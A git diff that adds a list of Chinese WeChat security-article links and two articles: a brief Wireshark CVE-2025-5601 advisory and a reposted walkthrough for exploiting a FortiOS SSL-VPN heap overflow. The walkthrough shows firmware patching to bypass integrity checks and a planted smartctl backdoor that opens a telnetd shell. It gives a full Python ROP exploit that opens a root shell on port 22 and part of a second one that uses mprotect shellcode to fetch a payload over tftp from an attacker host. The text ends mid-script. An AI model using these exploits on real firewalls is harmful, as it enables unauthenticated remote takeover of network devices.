diff --git a/data.json b/data.json index 5cc9e6fa..7c6391e0 100644 --- a/data.json +++ b/data.json @@ -14858,5 +14858,13 @@ "https://mp.weixin.qq.com/s?__biz=MjM5ODYwMjI2MA==&mid=2649793732&idx=1&sn=59278d0b2074a9c856a0700dfac2b83d": "0day漏洞量产?AI Agent“生产线”曝光", "https://mp.weixin.qq.com/s?__biz=MzkzNzMxODkzMw==&mid=2247485899&idx=1&sn=376aea6abca97546fc3a44c807047baa": "唯德科创 IPEasy 知易通 WSFM 任意文件上传漏洞", "https://mp.weixin.qq.com/s?__biz=Mzk0MzY1NDc2MA==&mid=2247484313&idx=1&sn=9b71c3e6bcb666505807374ab5dcb14a": "渗透测试与漏洞扫描:有什么区别?", - "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523184&idx=1&sn=f205e1639e39bac5e3d3496845db4087": "思科提醒注意严重的 ISE 和 CCP 漏洞" + "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523184&idx=1&sn=f205e1639e39bac5e3d3496845db4087": "思科提醒注意严重的 ISE 和 CCP 漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkxNjY5MDc4Ng==&mid=2247485167&idx=1&sn=ef7026252c6a5848c0eb5555f96dd119": "别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493320&idx=3&sn=eb3dea720279ce737c522dec98ba1498": "漏洞预警 | 灵当CRM SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247491258&idx=1&sn=0d0e52dce93ee9f25fe7f5ebce841822": "【漏洞】飞塔防火墙漏洞深度利用及调试环境搭建", + "https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655281664&idx=1&sn=9fb168bdaf2d0e9a644148d8866cd5d5": "中间件常见漏洞详解", + "https://mp.weixin.qq.com/s?__biz=MzI4NjAzMTk3MA==&mid=2458860668&idx=1&sn=197d36812e146c81964457d9a5c735c1": "两条命令搞定!Kali原生集成GVM漏洞扫描器,比Docker省5GB空间", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493320&idx=1&sn=23fa59fe6fd3f2dbea3de0de22cd73bb": "漏洞预警 | Elber身份认证绕过漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795343&idx=2&sn=4b0bfdc266245ab37bf0d6d95de25dc5": "Wireshark 漏洞可通过恶意数据包注入发起 DoS 攻击", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493320&idx=2&sn=ea00e80355de429de0124a3d84554ccf": "漏洞预警 | 智邦国际ERP SQL注入漏洞" } \ No newline at end of file diff --git a/doc/2025-06/Wireshark 漏洞可通过恶意数据包注入发起 DoS 攻击.md b/doc/2025-06/Wireshark 漏洞可通过恶意数据包注入发起 DoS 攻击.md new file mode 100644 index 00000000..72b70b50 --- /dev/null +++ b/doc/2025-06/Wireshark 漏洞可通过恶意数据包注入发起 DoS 攻击.md @@ -0,0 +1,63 @@ +# Wireshark 漏洞可通过恶意数据包注入发起 DoS 攻击 +会杀毒的单反狗 军哥网络安全读报 2025-06-06 01:00 + +**导****读** + + + +流行的网络协议分析器 Wireshark 中发现一个严重漏洞,允许攻击者通过数据包注入或使用格式错误的捕获文件触发拒绝服务 (DoS) 攻击。 + +![](https://mmbiz.qpic.cn/mmbiz_png/AnRWZJZfVaFzCguWmBfRkunibD9zVYN454z8l9FsHDQDZObU18oP8bNyuv4dBjoIXX20ItNQibMWWBAMdfz3eRmg/640?wx_fmt=png&from=appmsg "") + + +该安全漏洞编号为 CVE-2025-5601,影响全球数百万依赖 Wireshark 进行网络故障排除和分析的用户。 + + +该漏洞被 Wireshark 基金会正式指定为 wnpa-sec-2025-02,于 2025 年 6 月发布,CVSS 评分为 7.8,严重程度较高。 + + +该缺陷源于 Wireshark 的列实用程序模块中的一个错误,该错误导致某些解剖器在处理格式错误的网络流量时崩溃。 + + +受影响的版本包括Wireshark 4.4.0至4.4.6以及4.2.0至4.2.12。该漏洞已被归类为CWE-120,表示存在“未检查输入大小的缓冲区复制”或典型的缓冲区溢出情况。 + + +安全研究人员称,该漏洞主要通过两种攻击途径利用。 + + +首先,攻击者可以将畸形数据包直接注入Wireshark监控的网络基础设施。其次,恶意攻击者可以制作损坏的数据包捕获文件,并诱使用户打开这些文件,从而引发崩溃。 + + +安全专家警告说,鉴于 Wireshark 在企业环境中的广泛部署,被利用的可能性很大。一旦成功利用,该漏洞将导致 Wireshark 应用程序崩溃,从而破坏关键的网络分析和监控操作。 + + +这可能会对依赖 Wireshark 进行实时网络安全监控和事件响应的组织产生严重影响。 + + +Wireshark 基金会已发布补丁程序修复该漏洞。强烈建议用户立即升级至 Wireshark 4.4.7 或 4.2.12 版本,其中包含必要的修复程序。 + + +除了更新软件之外,安全专家还建议采取一些额外的预防措施。企业应在 Wireshark 打开捕获文件之前验证其来源,将网络数据包捕获操作限制在可信来源,并实施网络分段以减少暴露。 + + +在生产环境中使用 Wireshark 的组织应优先考虑立即修补并检查其网络监控安全协议,以防止潜在地利用此漏洞和未来的漏洞。 + + +安全公告: + +https://www.wireshark.org/security/wnpa-sec-2025-02.html + + +新闻链接: + +https://cybersecuritynews.com/wireshark-vulnerability-enables-dos-attack/ + +![](https://mmbiz.qpic.cn/mmbiz_jpg/AnRWZJZfVaGC3gsJClsh4Fia0icylyBEnBywibdbkrLLzmpibfdnf5wNYzEUq2GpzfedMKUjlLJQ4uwxAFWLzHhPFQ/640?wx_fmt=jpeg "") + +扫码关注 + +军哥网络安全读报 + +**讲述普通人能听懂的安全故事** + + diff --git a/doc/2025-06/【漏洞】飞塔防火墙漏洞深度利用及调试环境搭建.md b/doc/2025-06/【漏洞】飞塔防火墙漏洞深度利用及调试环境搭建.md new file mode 100644 index 00000000..3ed0de2a --- /dev/null +++ b/doc/2025-06/【漏洞】飞塔防火墙漏洞深度利用及调试环境搭建.md @@ -0,0 +1,1579 @@ +# 【漏洞】飞塔防火墙漏洞深度利用及调试环境搭建 +sn0w 神农Sec 2025-06-06 01:04 + +扫码加圈子 + +获内部资料 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "") + + +# + +网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。 +不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。 +# + +文章作者:sn0w + +文章来源:https://xz.aliyun.com/news/18116 + + + +**飞塔防火墙漏洞深度利用及调试环境搭建** + + +### +## 环境搭建 + + +通过官方下载附件,导入forigate-vm + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dffzgMKZMiabt924BcX6ncfV6F1dSlwsibTeepEmeWpOxfD0QK57CfT4wg/640?wx_fmt=png&from=appmsg "") + +### 飞塔激活 + + +可以参考下面师傅给出的脚本进行激活 + + +rrrrrrri/fgt-gadgets: Fortigate related tools + +### 网卡ip配置: + + +然后设置第一个网卡为Nat模式 + +``` +config system interface +edit port1 +set mode static +set ip 192.168.111.98 255.255.255.0 +set allowaccess http https ping ssh telnet +end +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfAO8EW0njYmgMXYCBW9xTtRxt6pFv7JzphsGib2bMHd5nMO01gysARbg/640?wx_fmt=png&from=appmsg "") + +### 配置网卡 + +``` +config router static +edit 1 +set device port1 +set gateway 192.168.111.2 +end +``` + +配置好之后就可以访问了 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfBWAPKIRJRPfSo1lIPhSt62HFc5CuvKhWYSozC04QaMlhWxFIQJMXicg/640?wx_fmt=png&from=appmsg "") + +### 配置 sslvpn + + +我们需要开启sslvpn的功能,需要对防火墙进行以下配置 + + +SSLVPN_address   subnet_addres  ubuntu22 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfF13iaTuM8oIY5KtdMHBb4BYgLj1dB2yLiaeqFhibS4hYXUT1Z3Wopia5Aw/640?wx_fmt=png&from=appmsg "") + + +再创建一个新的用户 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfALuPh0y2zY6vbKg9bHHPMjT2aTLIkg7GUbsaEMhvDw0LNpQFCuy7kQ/640?wx_fmt=png&from=appmsg "") + + +修改 vpn 门户,并进入 full-access 修改界面  VPN —–> SSL-VPN-Portals—-> full-access + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfdTNQ3aQBZA1VXzOJDKpwgibfhUg6Ubb2wUzKr5OL6MbVYH67apOGGZg/640?wx_fmt=png&from=appmsg "") + + +进入vpn中修改设置如下: + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dftlgRpCjicm2wpGyegnUZQwbqV5AXBJ2fYHRTKI7DHsUH5pL5icfYnWxQ/640?wx_fmt=png&from=appmsg "") + + +接着修改防火墙配置策略 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfmBwJIUZvDmibVjlsB1WgPIw8VSCXFiat9U54vEyzMWga0ricMvZdca0kA/640?wx_fmt=png&from=appmsg "") + + +然后就可以访问4433端口 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfAIt1lMG0OwiaodexaKvmop62I6Y6gjnY66k4BQeqp3g3ZdF71CNiaAqg/640?wx_fmt=png&from=appmsg "") + +### 调试环境搭建 gdbserver+gdb + +#### 提取固件 + + +1、安装libguestfs +libguestfs 是一组 Linux 下的 C 语言的 API ,用来访问虚拟机的磁盘映像文件,几乎可访问任意类型的文件系统。 + +``` +sudo apt install libguestfs-tools +``` + +2、查看磁盘分区情况 + +``` +sudo virt-filesystems -a fortigate7.2.2-disk1 +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfHqJbsKsCDMFTTtg0khbhWKM5BIIMZHftF4Fy504YV72zHH0HEfIFPQ/640?wx_fmt=png&from=appmsg "") + + +3、挂载 + +``` +sudo guestmount -a fortigate_7.2.2-disk1.vmdk -m /dev/sda1 --ro fortios_mount +``` + +这里踩雷了 不建议用这种方式挂载 建议在vmware上进行挂载  用上面这种方式可能导致你覆盖文件的时候覆盖的是缓存 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfQdRZ1SjWAeLTx1uyhrcAbRCW9bg8kjLhpWlPgibdiaVcODKh4jFGwZDQ/640?wx_fmt=png&from=appmsg "") + + +4、挂载成功后,rootfs.gz为文件系统压缩包,我们将其复制出来 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfg8xujDAGQOxicsvKj4PZAg0lZxRXobTBAMSIlnNnjKsoMTW1QFYy9PQ/640?wx_fmt=png&from=appmsg "") + + +复制出来后赋权解压 + +``` +sudo cp roofts.gz ../fritios +cd .. +chmod 777 rootfs.gz +gzip -d rootfs.gz +sudo cpio -idmv < ./rootfs +sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz +sudo chroot . /sbin/ftar -xf /bin.tar +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfQicMMzK8unJ6Pa8xCh9lB8kH5fndaVMq86icY3r7X3f8kSfH0MsxI77A/640?wx_fmt=png&from=appmsg "") + +#### gdb + + +准备一个busybox 提供完成的sh指令,fgt自带的sh缺少很多指令 + + +这里容易编译失败 建议多换几个版本试试 + + +配置busybox + +``` +wget  https://git.busybox.net/busybox/snapshot/busybox-1_36_1.tar.bz2 +tar -xjvf busybox-1_36_1.tar.bz2 +sudo apt-get install libncurses5-dev  +make menuconfig + +make -j6 +``` + +开始编译遇到的报错是这样 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df77ibP2GpJtEWJMrMzzxaSYjjvFiaWj0TGaonLYJeKBsf4yS9j0huXzeA/640?wx_fmt=png&from=appmsg "") + + +查了下是tc这部分的问题 但奇怪的是我有导入头文件 于是我就把这部分用make menuconfig中去掉了  Networking Utilities 中tc 然后在编译 + +``` +sudo cp ../busybox ./bin +sudo chmod +x ./bin/busybox + +cd bin +sudo rm -rf sh +ln -s /bin/busybox sh +mv sh ./bin/sh +``` + +配置gdbserver + +``` +sudo cp ../gdbserver-7.10.1-x64 ./bin +sudo chmod +x ./bin/gdbserver-7.10.1-x64 +``` + +在命令行中执行 diagnose hardware smartctl + 系统会执行 /bin/smartctl 程序; +可以自己重新写个smartctl放进去、复用22端口为sh + +``` +#include +void shell(){ +    system("/bin/busybox ls",0,0); //执行ls +    system("/bin/busybox id",0,0); //执行id +    system("/bin/busybox kill all sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22",0,0); //停止所有sshd进程,telnet挂载sh到22端口、此时sh是指busybox +    return; +} + +int main(int argc, char const *argv[]){ +    shell(); +    return 0; +} +``` + +gcc编译后 放入bin中 + +``` +gcc smartctl.c -static -o smartctl +sudo cp ../smartctl ./bin +sudo chmod +x ./bin/smartctl +``` + +反编译内核文件flatkc + +``` +void __fastcall __noreturn init_post_isra_0(__int64 a1, void **a2) +{ +  char v2; // al +  __int64 v3; // rax +  int v4; // edx +  int v5; // ecx +  int v6; // r8d +  int v7; // r9d +  char v8; // [rsp-8h] [rbp-8h] + +  v8 = v2; +  async_synchronize_full(a1, a2); +  free_initmem(); +  dword_FFFFFFFF80A19880 = 1; +  numa_default_policy(); +  v3 = *(_QWORD *)(__readgsqword(0xB700u) + 1048); +  *(_DWORD *)(v3 + 92) |= 0x40u; +  if ( !(unsigned int)fgt_verify() )//校验函数 +  { +    off_FFFFFFFF809B82C0 = "/sbin/init"; +    a2 = &off_FFFFFFFF809B82C0; +    kernel_execve("/sbin/init", &off_FFFFFFFF809B82C0, off_FFFFFFFF809B81A0); +  } +  panic( +    (unsigned int)"No init found.  Try passing init= option to kernel. See Linux Documentation/init.txt for guidance.", +    (_DWORD)a2, +    v4, +    v5, +    v6, +    v7, +    v8); +} + +``` + +在代码中我们可以看到启动的是init文件 因此我们可以patch init文件 + + +我们把/bin/init的文件这部分patch 只要涉及到do_halt函数 call的全部patch掉 + + +所有这些做完后 就可以重打包了 + +``` +#压缩/bin文件 +sudo chroot . /sbin/ftar -cf bin.tar bin +sudo chroot . /sbin/xz --check=sha256 -e bin.tar +#这里记得把/bin文件移出当前目录 +sudo find ./ | cpio -H newc -o > ../rootfs.raw +cd ../ +sudo cat ./rootfs.raw | gzip > rootfs.gz +# 进入硬盘目录 +sudo rm ./rootfs.gz +sudo cp ~/Desktop/rootfs.gz ./ +``` + +然后提权 把roofts.gz覆盖原来的就可以了 + + +接下来 我们把flatkc 提取出来 这是内核文件 我们把内核转化为二进制文件 进行分析 和 调试 + +``` +sudo apt install python3-pip liblzo2-dev +sudo pip3 install --upgrade lz4 zstandard git+https://github.com/clubby789/python-lzo@b4e39df +sudo pip3 install --upgrade git+https://github.com/marin-m/vmlinux-to-elf +``` + +踩的坑 我开始安装的时候 出现了这个报错  + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfNNq4zF9odDZKXGFcJMGoyibxtDKj5EzISWxhJ1ibHicqx4BicsrIxky9rg/640?wx_fmt=png&from=appmsg "") + + +我的解决办法是 手动安装 + + +你可以手动克隆 python-lzo + 库到本地,然后再进行安装: + +``` +bashgit clone https://github.com/clubby789/python-lzo +cd python-lzo +git checkout b4e39df +sudo pip3 install . +``` + +然后在执行后面的就没问题了 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfakLvjvbsYb1ibibnI6lO3TKTv57Zm0LlZdc9QJcvu7y585ibMibGymC7wg/640?wx_fmt=png&from=appmsg "") + + +然后就可以启动飞塔进行调试了 启动后 飞塔如果一直在重启状态就说明我们覆盖成功了  这是因为飞塔一直过不了身份验证 + + +也就是这个位置 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df28dvibHUsFiaOS37rhrwZcia9lS8zEeaqY2Jo09iaDXAVnDtWLKLTfhLicQ/640?wx_fmt=png&from=appmsg "") + + +我们就直接断点到这个位置: + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfhPOiaJibwQpibtMzNMjic2AS8kehxag9xAnNHrAZ61n6a92ZIBfqGELMww/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfxg9sp8OTRhWcRHw4xzic7bD3Sc9dwKjf7PFT22b2kwvFf3wibvVpSdSQ/640?wx_fmt=png&from=appmsg "") + + +发现断的不是我们的断点 这里的原因暂不清楚 但是解决办法就是,无论如何别按那个绿色箭头,你只需要理解 你一直c 它是会一直重启的 它重启就会反复执行start_kernel这个流程,那么 你可以尝试先往最开始的点 断 然后一点一点的接近你要断的点 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfTl4zKQHQ40DzIViaOb1ghTbt9MED49FD5Bpb53kQ5FdCtex8DrlT1fg/640?wx_fmt=png&from=appmsg "") + + +先断在这里 再断在我们开始要断的位置就可以了 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfts5D8G7MYMnS0SJ5gUa9rc6BvicsibU7Dbub3mmVRz39UUke4k9gbGZA/640?wx_fmt=png&from=appmsg "") + + +过了这里 ni 然后 set $rax=0 再c就可以进去了 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dflg4VVv9OG8ToicrfNHnibNTTengXkhMWgzXzmicBaLU9XaxMG2ichlrN9w/640?wx_fmt=png&from=appmsg "") + + +然后测试一下后门 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfvY1pRYa5yba0NZEDhmh6O0b8UM86CMTZfrZFXvsDf0LAQHhgpfkweQ/640?wx_fmt=png&from=appmsg "") + + +成功拿到shell + +## 漏洞深度利用 + + +A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests. + + +在 FortiOS SSL-VPN 7.2.0 至 7.2.2、7.0.0 至 7.0.8、6.4.0 至 6.4.10、6.2.0 至 6.2.11、6.0.15 及更早版本,以及 FortiProxy SSL-VPN 7.2.0 至 7.2.1、7.0.7 及更早版本中,存在一个基于堆的缓冲区溢出漏洞 [CWE-122]。该漏洞可能允许远程未经身份验证的攻击者通过特制的请求执行任意代码或命令。 + +### 带sh环境下的攻击 + +``` +import socket +import ssl +from pwn import * +import random +import os +import sys +import time +from pwn import * +from ctypes import * +path = "/remote/login".encode() +content_length = ["115964116992"] +ip = "192.168.111.148" +#1376 +#0x000000000257008a push rdx.pop rdi.ret +#0x00000000017ec3b7 : add rdx, 0x28 ; cmp eax, 7 ; jne 0x17ec3b0 ; ret +#0x000000000060e7e9 : pop rax ; pop rsi ; ret +#0x000000000065e899 : pop rax ; sti ; ret +#0x00000000012ce87f : std ; pop rdx ; ret +#0x0000000000530c8e : pop rsi ; ret +#0x000000000046bb27 : pop rax ; ret +#0x0000000000509372 : pop rdx ; ret + +ROP=struct.pack('q',0x000000000060e7e9) +ROP+=struct.pack('q',0x7) +ROP+=struct.pack('q',0x7) + +ROP+=struct.pack('q',0x00000000017ec3b7) +ROP+=struct.pack('q',0x00000000017ec3b7) +ROP+=struct.pack('q',0x00000000017ec3b7) +ROP+=struct.pack('q',0x000000000257008a) +ROP+=struct.pack('q',0x000000000046bb27) +ROP+=struct.pack('q',0x58) +ROP+=struct.pack('q',0x0000000000509372) +ROP+=struct.pack('q',0) +ROP+=struct.pack('q',0x0000000000530c8e) +ROP+=struct.pack('q',0) +ROP+=struct.pack('q',0x000000000257008c) +ROP+=struct.pack('q',0x00000000043EC10) +ROP+=b'a'*8+b"/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22"+b"\x00"*8 +print(hex(len(ROP))) + +payload=b'a'*0x560+ROP +payload=payload.ljust(0x620,b'a')+struct.pack('q', 0x0000000000febbaa) +for CL in content_length: +    try: +        data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \ +            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \ +            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload + +        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +        _socket.connect((ip, 4433)) +        _default_context = ssl._create_unverified_context() +        _socket = _default_context.wrap_socket(_socket) +        _socket.sendall(data) +        res = _socket.recv(1024) +        print(res) +        if b"HTTP/1.1" not in res: +            print("Error detected") +            print(CL) +            break +    except Exception as e: +        print(e) +        print("Error detected") +        print(CL) +        break + +``` +### real环境下的攻击 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df25og61H6lF9MSIFtULR55coDWEGnibLlXWeT862J5fjRZEwjggJaDjQ/640?wx_fmt=png&from=appmsg "") + + +这里就不得不提一嘴 system和exec系列函数命令执行的区别了: + + +1、system()和exec()都可以执行进程外的命令,system是在原进程上开辟了一个新的进程,但是exec是用新进程(命令)覆盖了原有的进程。 +2、system()和exec()都有能产生返回值,system的返回值并不影响原有进程,但是exec的返回值影响了原进程。 +3、system需要先启动一个shell才能运行指定的命令,调用system函数执行指定命令时,原进程会暂停等待,之后再继续进行;调用exec函数开启新进程后,原进程将被直接关闭。 + + +那这里没有/bin/sh 那我们命令执行可以攻击的思路是什么呢? 我们为什么要这么做呢? + + +1.我们可以通过命令执行下载编译好的busybox 来达到被阉割的shell现状 + + +2.我们可以直接通过rop上传我们要执行的文件 + + +这里更多的是推荐思路1, 因为文件上传如果文件过大的话 容易导致连接崩溃 + +``` +#include +int execl(const char *path, const char *arg, ...); +int execlp(const char *file, const char *arg, ...); +int execle(const char *path, const char *arg, ..., char *const envp[]); +int execv(const char *path, char *const argv[]); +int execvp(const char *file, char *const argv[]); +int execve(const char *path, char *const argv[], char *const envp[]); +``` + +这里就得考虑构造rop,因为exec有两种类型,一个是数组传参,另一个是参数传参,但是从上面的攻击过程也就是system的攻击过程,其实我们是可以发现 gadget是有点不够的,越打的后面越没有好用的gadget ,因为你不能破坏前面布置好的参数,并且我们可以写入的rop链也是有长度限制的,还有一个比较要命的问题,你要下载busybox 到本地 那就得传送ip 而这个字符串是肯定超过了8字节的,这就会导致我们构造参数时会多出不可控的字符串。导致如果考虑 char 列表来调用的话 rop chain 会修改的非常麻烦!!!(这就是数组传参的弊端) + + +那以上两个思路基本都走死走不通的话,我们就不考虑走rop了,用ctf的思路把rop传化为shellcode就可以实现任意gadget了,但是没有 + + +可执行权限 开了nx保护 这里就想到用mprotect 开一段可执行权限的段,然后前面打system的时候 可以看到 寄存器上是有残余段的地址的,我们只需要通过rop去执行mprotect 然后就可以快乐的写shellcode去命令执行了 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfIwuzYHRAI7zbaXyUIclOOK3Nz6hVGozCziaSL5Yx39zjIo6QaaJjhPg/640?wx_fmt=png&from=appmsg "") + + +攻击构造过程 + + +mprotect所需要的参数(addr,len,prot) 也就是我们要劫持rdi rsi rdx这三个参数 并且调用call mprotect + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfp9wiavQQ4PySeKUroanmbRGk6KjxsFfcqBcQV3xjkZ2cU732ACzLGAA/640?wx_fmt=png&from=appmsg "") + + +gdb-peda$ 0x7ff1e109cd78      0x7ff1e0f42000     0x7ff1e11c2000   0x280000        0x0  rw-p    + + +我们写的位置属于这个段 + + +0x7ff1e0f42000- 0x7ff1e109cd78 =FFFF FFFF FFEA 5288 + + +这里是残存的参数rdx  + + +利用gadget如下 + +``` +#0x000000000257008a push rdx,pop rdi.ret +#0x0000000000530c8e : pop rsi ; ret +#0x000000000046bb27 : pop rax ; ret +#0x000000000060e7e9 : pop rax ; pop rsi ; ret 绕过最开始那个1无法写入的限制 +#0x000000000043F3D0 call mprotect  +#0x0000000000509372 : pop rdx ; ret +#0x0000000002a0e0e0 : add rdx, rax ; mov eax, edx ; sub eax, edi ; ret +#0x00000000005dc96d jmp rsp +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfOMrqYVFpDJzYDyqfOOASuSRDB5vDUdIDw4ibC3jraF2dV0FEffvxIzw/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df8Z3ceduSaHFcwEvncpy3tDtdDlKYHnGd1zUIwjRyIrs7wNDZJeZJJQ/640?wx_fmt=png&from=appmsg "") + + +然后我们只需要利用jmp rsp跳转就可以执行shellcode了 这里为了方便我们可以直接接着jmp rsp后面写shellcode  + +### shellcode思路 + + +由于我们这里写入的字节有限大概0xc0长度的样子,如果要写比较麻烦的命令执行 可能不够,这里我的思路是去迁移rip到0x620+8的这个位置 也就是lea rax, [rip + 0x69]  然后就有了基本没有长度限制的shellcode的机会,还有种思路就是构造一个read 但是我这里syscall下去 gdb并没有卡住等待读取,目前不知道什么原因,所以就走思路一了 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfJcicw8oWW2fDYzibLra6ty81FCkUibM7YrjVeuSBLBRB78lM0FoYJ4CKQ/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfJNC994ZoFPo2aMVxJ2mg5jJlG1ibrichMo8UK3LBkQRH7icOB2u7tZhgw/640?wx_fmt=png&from=appmsg "") + + +接下来就可以快乐的写shellcode了 我们需要干的就是: + + +execl执行:/bin/tftp 192.168.111.160 1.js get octet ./1.js + + +实际 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8df6yy2CNsibpITMZuZoFAoIHmibz8aAwNEYrlzl3U0czV3tpxNQr5lPMNQ/640?wx_fmt=png&from=appmsg "") + + +execl("/bin/tftp", "/bin/tftp", "192.168.111.148", "1.js", "get", "octet", NULL); + + +execl("/bin/tftp","/bin/tftp","192.168.111.148","1.js","get",octet","NULL") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfceIZq4yBZd8deAYGx7Cdg2uicatLQZ2UIXkZ1OqpxoAQTU332Wx934Q/640?wx_fmt=png&from=appmsg "") + + +这里也就是一个个传参,唯一注意的就是 超过八字节的要分两次切割传 + + +最后参数情况 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfTKibM1aJS7icwpUicqJWNloR0QcslJ2tVIxRKtMYzyjOEnpsRjBm0zeibA/640?wx_fmt=png&from=appmsg "") + + +检验: + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWy211pOPXehgD2zYQXt8dfh8u6Wq7f6H9icOLR3Egaqp7EgTZp4ZQ8feKItuxsmqsxrZiawQbHzvjw/640?wx_fmt=png&from=appmsg "") + + +成功实现攻击 这里监测一下busybox能否上传并正常使用 + + +直接get busybox不指定路径 成功 + +``` +import socket +import ssl +from pwn import * +import random +import os +import sys +import time +from pwn import * +from ctypes import * +context.arch = 'amd64' + + +path = "/remote/login".encode() +content_length = ["115964116992"] +ip = "192.168.111.148" +#1376 +#0x000000000257008a push rdx,pop rdi.ret +#0x0000000000530c8e : pop rsi ; ret +#0x000000000046bb27 : pop rax ; ret +#0x000000000060e7e9 : pop rax ; pop rsi ; ret 绕过最开始那个1无法写入的限制 